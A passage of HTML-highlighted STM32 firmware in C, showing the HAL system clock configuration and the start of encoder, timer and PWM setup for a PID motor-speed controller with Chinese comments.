class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief System Clock Configuration\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval None\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitTypeDef\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitTypeDef\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Supply configuration update enable\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_PWREx_ConfigSupply\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePWR_LDO_SUPPLY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Configure the main internal regulator output voltage\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003e__HAL_PWR_VOLTAGESCALING_CONFIG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePWR_REGULATOR_VOLTAGE_SCALE3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nf\"\u003e__HAL_PWR_GET_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePWR_FLAG_VOSRDY\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Initializes the RCC Oscillators according to the specified parameters\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * in the RCC_OscInitTypeDef structure.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOscillatorType\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_OSCILLATORTYPE_HSI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eHSIState\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_HSI_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eHSICalibrationValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_HSICALIBRATION_DEFAULT\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLState\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLL_ON\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLSource\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLLSOURCE_HSI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLM\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLN\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLQ\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLR\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLRGE\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLL1VCIRANGE_3\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLVCOSEL\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_PLL1VCOMEDIUM\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLL\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePLLFRACN\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3072\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003eHAL_RCC_OscConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eRCC_OscInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eHAL_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eError_Handler\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Initializes the CPU, AHB and APB buses clocks\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eClockType\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_HCLK\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_SYSCLK\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_PCLK1\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_PCLK2\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_D3PCLK1\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_D1PCLK1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSYSCLKSource\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_SYSCLKSOURCE_PLLCLK\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSYSCLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_SYSCLK_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAHBCLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_HCLK_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB3CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB3_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB1CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB1_DIV2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB2CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB2_DIV2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB4CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB4_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003eHAL_RCC_ClockConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFLASH_LATENCY_1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eHAL_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eError_Handler\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 4 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里定义一些变量\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 电机转一圈所需的Encoder读数累和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1440\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标速度 Encoder读出的真实速度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标位置总读数和 实际位置读数和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 给电机的PWM设定的占空比数值(这里需要每次累加,因为使用的是增程式pid)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Encoder tim 开启解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Time Control tim 开启定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Start_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start the pwm tim 开启pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan 